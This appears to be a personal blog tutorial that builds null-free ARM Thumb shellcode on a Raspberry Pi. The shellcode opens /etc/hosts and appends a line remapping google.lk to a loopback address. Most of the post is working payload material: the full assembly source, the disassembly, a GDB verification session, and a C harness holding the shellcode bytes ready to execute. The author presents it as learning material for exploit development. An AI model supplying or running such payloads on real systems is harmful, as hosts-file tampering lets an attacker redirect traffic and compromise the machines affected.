Running Shellcode in your Raspberry Pi

I was interested in learning ARM assembly language for developing small applications for microcontrollers. I wrote this small piece of shellcode which will write “127.0.0.1 google.lk” inside the /etc/hosts file in a Linux system. I used my Raspberry Pi model B+ for this 🙂

We will be needing the following syscalls.

#define __NR_exit                       (__NR_SYSCALL_BASE+  1)
#define __NR_write                      (__NR_SYSCALL_BASE+  4)
#define __NR_open                       (__NR_SYSCALL_BASE+  5)
#define __NR_close                      (__NR_SYSCALL_BASE+  6)


In shellcoding we do not want any null characters and we want to make the code optimized. The smaller the shellcode the better in exploit development.
Since 32 bit addressing can cause null bytes let’s use the Thumb mode in ARM. This will give us 16-bit addressing which means 16-bit opcodes.

    .code 32
    # Thumb-Mode on
    add     r6, pc, #1
    bx  r6

First we need to open the file and get a valid file descriptor and pass it to write syscall to write the data.
This is prototype for open.

       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

       int open(const char *pathname, int flags);
       int open(const char *pathname, int flags, mode_t mode);

This is how we should exactly place the arguments in assembly.

r0 => "/etc/hosts"
r1 => $0x401
r2 => 0
r7 => 5

    # _open()
    sub r4, r4, r4
    mov r2, r4

    mov r1, $0xff
    add r1, $0xff
    add r1, $0xff
    add r1, $0xff
    add r1, $0x5
    mov r0, pc
    add r0, #12

    mov     r7, $0x5
    svc     1

For writing data this the function prototype.

#include <unistd.h>

 ssize_t write(int fd, const void *buf, size_t count);

Assembly syntax.

r0 => (file descriptor from open())
r1 => 127.1.1.1 google.lk\n
r2 => 20
r7 => 4

# _write()
    mov     r2, #11
    mov r1, pc
    add r1, #20              
    mov     r7, $0x4
    svc     1

Now let’s put them altogether and write our assembly program. I won’t be using the close() syscall, this will increase the size.

@ Title: Add map in /etc/hosts file - 79 bytes
@ Date: 2015-03-02
@ Architecture: armv6l GNU/Linux
@ Website: https://osandamalith.wordpress.com
@ E-Mail: osanda[cat]unseen.is
@ Author: Osanda Malith Jayathissa (@OsandaMalith)

.section .text
        
.global _start

_start:
    .code 32

    # Thumb-Mode on
    add     r6, pc, #1 @sasa
    bx  r6
    .code   16
    # _open()
    sub r4, r4, r4
    mov r2, r4

    mov r1, $0xff
    add r1, $0xff
    add r1, $0xff
    add r1, $0xff
    add r1, $0x5
    mov r0, pc
    add r0, #42

    mov     r7, $0x5
    svc     1


    # _write()
    mov     r2, #20
    mov r1, pc
    add r1, #12
    mov     r7, $0x4
    svc     1

    # _exit()
    sub r4, r4, r4
    mov r0, r4
    mov     r7, $0x1
    svc 1


.ascii "127.1.1.1 google.lk\n"

.word 0x6374652f
.word 0x6f682f2f
.short 0x7473
.byte 0x73

After assembling and linking if we check the disassembly no null bytes to be found 🙂

hosts:     file format elf32-littlearm


Disassembly of section .text:

00008054 :
    8054:       e28f6001        add     r6, pc, #1
    8058:       e12fff16        bx      r6
    805c:       1b24            subs    r4, r4, r4
    805e:       1c22            adds    r2, r4, #0
    8060:       21ff            movs    r1, #255        ; 0xff
    8062:       31ff            adds    r1, #255        ; 0xff
    8064:       31ff            adds    r1, #255        ; 0xff
    8066:       31ff            adds    r1, #255        ; 0xff
    8068:       3105            adds    r1, #5
    806a:       4678            mov     r0, pc
    806c:       302a            adds    r0, #42 ; 0x2a
    806e:       2705            movs    r7, #5
    8070:       df01            svc     1
    8072:       2214            movs    r2, #20
    8074:       4679            mov     r1, pc
    8076:       310c            adds    r1, #12
    8078:       2704            movs    r7, #4
    807a:       df01            svc     1
    807c:       1b24            subs    r4, r4, r4
    807e:       1c20            adds    r0, r4, #0
    8080:       2701            movs    r7, #1
    8082:       df01            svc     1
    8084:       2e373231        mrccs   2, 1, r3, cr7, cr1, {1}
    8088:       2e312e31        mrccs   14, 1, r2, cr1, cr1, {1}
    808c:       6f672031        svcvs   0x00672031
    8090:       656c676f        strbvs  r6, [ip, #-1903]!       ; 0x76f
    8094:       0a6b6c2e        beq     1ae3154 
    8098:       6374652f        cmnvs   r4, #197132288  ; 0xbc00000
    809c:       6f682f2f        svcvs   0x00682f2f
    80a0:       00737473        rsbseq  r7, r3, r3, ror r4

Let’s analyze this in GDB to make sure everything works well as we planned.

root@raspberrypi:/home/pi/shellcode/hosts# gdb -q ./open
Reading symbols from /home/pi/shellcode/hosts/open...(no debugging symbols found)...done.
gdb$ disassemble _start
Dump of assembler code for function _start:
   0x00008054 :     add     r6, pc, #1
   0x00008058 :     bx      r6
   0x0000805c :     subs    r4, r4, r4
   0x0000805e :    adds    r2, r4, #0
   0x00008060 :    movs    r1, #255        ; 0xff
   0x00008062 :    adds    r1, #255        ; 0xff
   0x00008064 :    adds    r1, #255        ; 0xff
   0x00008066 :    adds    r1, #255        ; 0xff
   0x00008068 :    adds    r1, #5
   0x0000806a :    mov     r0, pc
   0x0000806c :    adds    r0, #42 ; 0x2a
   0x0000806e :    movs    r7, #5
   0x00008070 :    svc     1
   0x00008072 :    movs    r2, #20
   0x00008074 :    mov     r1, pc
   0x00008076 :    adds    r1, #12
   0x00008078 :    movs    r7, #4
   0x0000807a :    svc     1
   0x0000807c :    subs    r4, r4, r4
   0x0000807e :    adds    r0, r4, #0
   0x00008080 :    movs    r7, #1
   0x00008082 :    svc     1
   0x00008084 :    mrccs   2, 1, r3, cr7, cr1, {1}
   0x00008088 :    mrccs   14, 1, r2, cr1, cr1, {1}
   0x0000808c :    svcvs   0x00672031
   0x00008090 :    strbvs  r6, [r12, #-1903]!      ; 0x76f
   0x00008094 :    beq     0x1ae3154
   0x00008098 :    cmnvs   r4, #197132288  ; 0xbc00000
   0x0000809c :    svcvs   0x00682f2f
   0x000080a0 :    rsbseq  r7, r3, r3, ror r4
End of assembler dump.
gdb$ b *0x00008070
Breakpoint 1 at 0x8070
gdb$ run
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.

Breakpoint 1, 0x00008070 in _start ()
gdb$ i r
r0             0x8098   0x8098
r1             0x401    0x401
r2             0x0      0x0
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x5      0x5
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x8070   0x8070 
cpsr           0x30     0x30
gdb$ x/s 0x8098
0x8098 :      "/etc//hosts"
gdb$

r0 points to our string “/etc/hosts” and flags are set to 0x401. Let’s nexti.

gdb$ nexti
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.
0x00008072 in _start ()
gdb$ i r
r0             0x7      0x7
r1             0x401    0x401
r2             0x0      0x0
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x5      0x5
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x8072   0x8072 
cpsr           0x30     0x30

r0 contains the return value which is not an error. So now that the opening part is done next let’s check the writing part.

gdb$ b *0x0000807a
Breakpoint 2 at 0x807a
gdb$ c
Error while running hook_stop:
No symbol table is loaded.  Use the "file" command.

Breakpoint 2, 0x0000807a in _start ()
gdb$ i r
r0             0x7      0x7
r1             0x8084   0x8084
r2             0x14     0x14
r3             0x0      0x0
r4             0x0      0x0
r5             0x0      0x0
r6             0x805d   0x805d
r7             0x4      0x4
r8             0x0      0x0
r9             0x0      0x0
r10            0x0      0x0
r11            0x0      0x0
r12            0x0      0x0
sp             0xbefff840       0xbefff840
lr             0x0      0x0
pc             0x807a   0x807a 
cpsr           0x30     0x30

gdb$ x/s 0x8084
0x8084 :      "127.1.1.1 google.lk\n/etc//hosts"

Notice that we are writing only 20 characters from the string. That is why we specify 0x14 into r2.
Everything seemed to work well 🙂 This is the final shellcode 🙂

#include <stdio.h>
#include <string.h>

char *shellcode =   "\x01\x60\x8f\xe2"
                    "\x16\xff\x2f\xe1"
                    "\x24\x1b"
                    "\x22\x1c"
                    "\xff\x21"
                    "\xff\x31"
                    "\xff\x31"
                    "\xff\x31"
                    "\x05\x31"
                    "\x78\x46"
                    "\x2a\x30"
                    "\x05\x27"
                    "\x01\xdf"
                    "\x14\x22" // movs    r2, $0x14 ; length
                    "\x79\x46"
                    "\x0c\x31"
                    "\x04\x27"
                    "\x01\xdf"
                    "\x24\x1b"
                    "\x20\x1c"
                    "\x01\x27"
                    "\x01\xdf"
                    "\x31\x32\x37\x2e" // 127.
                    "\x31\x2e\x31\x2e" // 1.1.
                    "\x31\x20\x67\x6f" // 1 go
                    "\x6f\x67\x6c\x65" // ogle
                    "\x2e\x6c\x6b\x0a" // .lk
                    "\x2f\x65\x74\x63"
                    "\x2f\x2f\x68\x6f"
                    "\x73\x74\x73";

int main(void) {
        fprintf(stdout,"Length: %d\n",strlen(shellcode));
        (*(void(*)()) shellcode)();
return 0;
}

http://packetstormsecurity.com/files/130610/79-Bytes-Add-Mapping-etc-hosts.html

Advertisements

3 thoughts on “Running Shellcode in your Raspberry Pi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s